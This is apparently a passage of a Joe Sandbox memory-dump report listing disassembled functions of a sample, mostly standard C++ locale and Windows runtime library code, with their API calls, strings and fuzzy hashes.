Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: ea5e648ea9b80fa012a4b034435cda382e359fb5608416654a9a6099160e6283
Instruction ID: b281adae24c4db52aee324dac37c864dabc505fedf6089f21a348ff45e603692
Opcode Fuzzy Hash: ea5e648ea9b80fa012a4b034435cda382e359fb5608416654a9a6099160e6283
Instruction Fuzzy Hash: 7C01C032D00619DBCB15EB649C41ABE7B71FF80760F240849F9056B2D2DF789E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42A8B Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42A92
std::_Lockit::_Lockit.LIBCPMT ref: 00F42A9C

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

moneypunct.LIBCPMT ref: 00F42AD6
std::_Facet_Register.LIBCPMT ref: 00F42AED
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42B0D

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 81d3e2c4038ec22f5e46ad340f6d8eea53e6cd350afef3c64ecfa704b04a3064
Instruction ID: 834fc202669dd32b31d659a519762b42608f331e6528535959f4e4bf5d300d4e
Opcode Fuzzy Hash: 81d3e2c4038ec22f5e46ad340f6d8eea53e6cd350afef3c64ecfa704b04a3064
Instruction Fuzzy Hash: FF01C031900619DFCB15FB649C41ABE7BA1AF84760F244819FE04AB2D2CF789E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42B20 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42B27
std::_Lockit::_Lockit.LIBCPMT ref: 00F42B31

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

moneypunct.LIBCPMT ref: 00F42B6B
std::_Facet_Register.LIBCPMT ref: 00F42B82
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42BA2

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 76988b67e4eed8058e6a3856c7fca6d6ca02cab3b2b1f981ba7b3bac503e3aed
Instruction ID: a2cdcb8d32d5493a3e35792572cd0b1e15385bb6ee44fb9f8c29c57560444de1
Opcode Fuzzy Hash: 76988b67e4eed8058e6a3856c7fca6d6ca02cab3b2b1f981ba7b3bac503e3aed
Instruction Fuzzy Hash: 1D01C035900619DBCB15EB648C416BE7B71BF84730F250419F9046B3D2CFB89E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4EB2C Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4EB33
std::_Lockit::_Lockit.LIBCPMT ref: 00F4EB3D

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

moneypunct.LIBCPMT ref: 00F4EB77
std::_Facet_Register.LIBCPMT ref: 00F4EB8E
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4EBAE

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 0f7ea4dd7a15a73f1f115e170cddee11103ec7e877b21c703563dd99323bea5b
Instruction ID: 829ee2d2ffada055fc4b3635ea8e59731646f7b94978080332f4cba09924a5f7
Opcode Fuzzy Hash: 0f7ea4dd7a15a73f1f115e170cddee11103ec7e877b21c703563dd99323bea5b
Instruction Fuzzy Hash: B401C031900619DFCB05FB64DC816BE7B60BF84720F250809F9156B2D2CF789E05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42D74 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42D7B
std::_Lockit::_Lockit.LIBCPMT ref: 00F42D85

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

numpunct.LIBCPMT ref: 00F42DBF
std::_Facet_Register.LIBCPMT ref: 00F42DD6
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42DF6

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: aefaed08abefdd302769745351384ee1b149a6b855a67890bb8581cab3b0e9a4
Instruction ID: 195e94bb535abc7bf1ba1e108e06cbb10ba6e26959df14583be27ebe6be3c4ca
Opcode Fuzzy Hash: aefaed08abefdd302769745351384ee1b149a6b855a67890bb8581cab3b0e9a4
Instruction Fuzzy Hash: E601C031D00219DBCB05EBA4DC416BEBBB0BF84720F650819F914AB2D2DF789E01BB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F52C4E Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00F8DD3C,?,?,00F32427,00F8E638,00F76B40), ref: 00F52C58
LeaveCriticalSection.KERNEL32(00F8DD3C,?,?,00F32427,00F8E638,00F76B40), ref: 00F52C8B
RtlWakeAllConditionVariable.NTDLL ref: 00F52D02
SetEvent.KERNEL32(?,00F32427,00F8E638,00F76B40), ref: 00F52D0C
ResetEvent.KERNEL32(?,00F32427,00F8E638,00F76B40), ref: 00F52D18

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: 97d720923773ec33fda3d0c37d3799586f98b0e4defc01b07b26218c6b11d453
Instruction ID: c7aaa777f6d77da126810d25d0f6d3a47c55f80c20f21c35eeb58f6650cdb740
Opcode Fuzzy Hash: 97d720923773ec33fda3d0c37d3799586f98b0e4defc01b07b26218c6b11d453
Instruction Fuzzy Hash: 27014632A14228DFC715AF18FC08AE9BB65FF49761701446AF90683371DB705841FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3BB40 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 181memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,72A902E8,?,00000000), ref: 00F3BBA3
Concurrency::cancel_current_task.LIBCPMT ref: 00F3BD7F

Strings

false, xrefs: 00F3BC95
true, xrefs: 00F3BCAB

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: AllocConcurrency::cancel_current_taskLocal
String ID: false$true
API String ID: 3924972193-2658103896
Opcode ID: fcc815dcfce025b0a2f8a4867284399b36f77781de8e818b97f52e26d0af3f13
Instruction ID: 8097593466c97d7ecc3d4fe3eebd3df81133666125712f20d003a04083560838
Opcode Fuzzy Hash: fcc815dcfce025b0a2f8a4867284399b36f77781de8e818b97f52e26d0af3f13
Instruction Fuzzy Hash: 2D61B1B1D00348DBDB10DFA4C841BDEBBF4FF04714F14825AE945AB281E7B5AA48DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4D3CB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F4D3D2

Part of subcall function 00F4254E: __EH_prolog3.LIBCMT ref: 00F42555
Part of subcall function 00F4254E: std::_Lockit::_Lockit.LIBCPMT ref: 00F4255F
Part of subcall function 00F4254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00F425D0

_Find_elem.LIBCPMT ref: 00F4D46E

Strings

%.0Lf, xrefs: 00F4D419
0123456789-, xrefs: 00F4D41E

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: %.0Lf$0123456789-
API String ID: 2544715827-3094241602
Opcode ID: 69683604d087903467f3edd6d7ac93ae35d9a2c13da435c6fe35bdaf637c2be3
Instruction ID: 5c828320d91768ed27cd11f6602ce064b801a66da33e6000a09ea7e597a69e25
Opcode Fuzzy Hash: 69683604d087903467f3edd6d7ac93ae35d9a2c13da435c6fe35bdaf637c2be3
Instruction Fuzzy Hash: 01413A31900218DFCF15DFA8C880ADDBFB5BF08314F144159E905AB265DB74AA56EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F4D66F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F4D676

Part of subcall function 00F38610: std::_Lockit::_Lockit.LIBCPMT ref: 00F38657
Part of subcall function 00F38610: std::_Lockit::_Lockit.LIBCPMT ref: 00F38679
Part of subcall function 00F38610: std::_Lockit::~_Lockit.LIBCPMT ref: 00F386A1
Part of subcall function 00F38610: std::_Lockit::~_Lockit.LIBCPMT ref: 00F3880E

_Find_elem.LIBCPMT ref: 00F4D712

Strings

0123456789-, xrefs: 00F4D6C2
0123456789-, xrefs: 00F4D6BD

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 3042121994-2494171821
Opcode ID: c5026e49f917b25b20903b1861fc64163d45e7d215ddb6d02df505a3a87caf49
Instruction ID: 6783ba5bf4f3ee914da54a4b3c103e6b63371ff609f9d493818ccd77d5ba45a9
Opcode Fuzzy Hash: c5026e49f917b25b20903b1861fc64163d45e7d215ddb6d02df505a3a87caf49
Instruction Fuzzy Hash: 03415B71900218DFCF15EFA8CC80ADE7FB5BF08320F140159E915AB255DB34DA56EB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F5175A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F51761

Part of subcall function 00F39270: std::_Lockit::_Lockit.LIBCPMT ref: 00F392A0
Part of subcall function 00F39270: std::_Lockit::_Lockit.LIBCPMT ref: 00F392C2
Part of subcall function 00F39270: std::_Lockit::~_Lockit.LIBCPMT ref: 00F392EA
Part of subcall function 00F39270: std::_Lockit::~_Lockit.LIBCPMT ref: 00F39422

_Find_elem.LIBCPMT ref: 00F517FB

Strings

0123456789-, xrefs: 00F517AD
0123456789-, xrefs: 00F517A8

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 3042121994-2494171821
Opcode ID: 27f7c835d171a199d0f042743ebe58a30f6c6798dc8101efd9cd38ef720cfe0f
Instruction ID: cecde9125e7e3cfa0a36df8de3dc3db020ab7bbfd15ee8bb21767f96f719afc4
Opcode Fuzzy Hash: 27f7c835d171a199d0f042743ebe58a30f6c6798dc8101efd9cd38ef720cfe0f
Instruction Fuzzy Hash: 20416031900209EFCF15DFA8D881A9EBBB5FF04311F10415AF911AB252DB78EA56EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F48386 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4838D

Part of subcall function 00F41C42: _Maklocstr.LIBCPMT ref: 00F41C62
Part of subcall function 00F41C42: _Maklocstr.LIBCPMT ref: 00F41C7F
Part of subcall function 00F41C42: _Maklocstr.LIBCPMT ref: 00F41C9C
Part of subcall function 00F41C42: _Maklocchr.LIBCPMT ref: 00F41CAE
Part of subcall function 00F41C42: _Maklocchr.LIBCPMT ref: 00F41CC1

_Mpunct.LIBCPMT ref: 00F4841A
_Mpunct.LIBCPMT ref: 00F48434

Strings

$+xv, xrefs: 00F4843F

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: 7a2c779a3cb2b2f6b5aa8af2cd014203532827df31e86dabc1accd721eff4ee7
Instruction ID: f24b0a4dfc089d9566e4eca7936ad263c0d43bb3a44311fb9058e45d565ea81f
Opcode Fuzzy Hash: 7a2c779a3cb2b2f6b5aa8af2cd014203532827df31e86dabc1accd721eff4ee7
Instruction Fuzzy Hash: 7C21F1B1904B926ED725DF74C88073FBEF8BB08300F04455AE899C7A42E774E602DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F4FFEA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4FFF1
_Mpunct.LIBCPMT ref: 00F5007E
_Mpunct.LIBCPMT ref: 00F50098

Strings

$+xv, xrefs: 00F500A3

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: 8934cd6abe708d8b655b3ef7acc631d6d46fa9bb854c90df332c502863164ade
Instruction ID: ac532c6f11010835a42350df73408fa4b64664fd3fdc90570d0618161d166cb7
Opcode Fuzzy Hash: 8934cd6abe708d8b655b3ef7acc631d6d46fa9bb854c90df332c502863164ade
Instruction Fuzzy Hash: F021C4B1904B916FD725DF74C89073BBEF8BB08301F04451AE999C7A42D774E605DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F324C0 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00F31434,?,00000000), ref: 00F32569
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00F31434,?,00000000), ref: 00F32589
LocalFree.KERNEL32(?,00F31434,?,00000000), ref: 00F325DF
CloseHandle.KERNEL32(00000000,72A902E8,?,00000000,00F73C40,000000FF,00000008,?,?,?,?,00F31434,?,00000000), ref: 00F32633
LocalFree.KERNEL32(?,72A902E8,?,00000000,00F73C40,000000FF,00000008,?,?,?,?,00F31434), ref: 00F32647

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Local$AllocFree$CloseHandle
String ID:
API String ID: 1291444452-0
Opcode ID: 41660260f6e16f608965e44b89eb4a02bbad5e3b65bfaf37cb75fb47b89ecb59
Instruction ID: 1bfaee2b16ca559256b916dcd73eb7b7666b362cd68129e9b42a9195b1353669
Opcode Fuzzy Hash: 41660260f6e16f608965e44b89eb4a02bbad5e3b65bfaf37cb75fb47b89ecb59
Instruction Fuzzy Hash: 81410C72604315DBC3549F38DC54B6ABBD8EF45370F14462AF526C72D1DB30DA44A761

Uniqueness

Uniqueness Score: -1.00%

Function 00F71D9B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(72A902E8,?,00000000,?), ref: 00F71DFE

Part of subcall function 00F6A9BB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00F66F5E,?,00000000,-00000008), ref: 00F6AA67

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00F72059
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00F720A1
GetLastError.KERNEL32 ref: 00F72144

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: dc52b70407b3530c503efbac714fa2aa5a1be0346276ab47c6e502d564d61190
Instruction ID: 1ebd0443a59dd02368c1f56b2e39931c3434b3839a7dd53c979297beda20b427
Opcode Fuzzy Hash: dc52b70407b3530c503efbac714fa2aa5a1be0346276ab47c6e502d564d61190
Instruction Fuzzy Hash: 19D167B5E002489FCF15CFA8D880AEDBBB5FF09310F18856AE919EB351D730A945DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00F435F7 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F435FE
_strcspn.LIBCMT ref: 00F43666
_strcspn.LIBCMT ref: 00F43686
ctype.LIBCPMT ref: 00F436E4

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 8de32893033c4aa8a30317422f35b14b25312b395a7fc743aad291e7e8de3ba6
Instruction ID: 878013b9e121ccb323f48127e7629b30524b415d2c0d415a1d24df552a57af1c
Opcode Fuzzy Hash: 8de32893033c4aa8a30317422f35b14b25312b395a7fc743aad291e7e8de3ba6
Instruction Fuzzy Hash: 34B158B5D00259AFDF11DF98C880AEEBFB9FF48310F144019EC45AB255D734AA46EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F3DA6F Relevance: 6.3, APIs: 4, Instructions: 279COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F3DA76
_strcspn.LIBCMT ref: 00F3DADE
_strcspn.LIBCMT ref: 00F3DAFE
ctype.LIBCPMT ref: 00F3DB5C

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: ebc73e0cb02c06783f44a6d4cff1fb7072313b76dd14fbe0f89d5ca4b4ee8d8b
Instruction ID: d85d6e9940e51748d50853d228a541b4930e162b454601d8b36db6261378ef86
Opcode Fuzzy Hash: ebc73e0cb02c06783f44a6d4cff1fb7072313b76dd14fbe0f89d5ca4b4ee8d8b
Instruction Fuzzy Hash: 16B14971D002499FDF14DF98D981AEEBBB9FF48360F144019E805AB216D774AE46EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F55A58 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00F55B1F
___AdjustPointer.LIBCMT ref: 00F55B42
___AdjustPointer.LIBCMT ref: 00F55BDE

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 67e0a475e04ee23df7f3a4eae830039db8f0caf2b9c2e49d0d256c1c71dc5c63
Instruction ID: 4e7a896a1eb56ec2a6f64ff6dd0d5bf53f600f637a7f772e8b8a34264af098ff
Opcode Fuzzy Hash: 67e0a475e04ee23df7f3a4eae830039db8f0caf2b9c2e49d0d256c1c71dc5c63
Instruction Fuzzy Hash: 3F510472A00B06AFDB298F14D865B7A77A4EF84B22F140529EE0187191E735EC88E790

Uniqueness

Uniqueness Score: -1.00%

Function 00F624E8 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

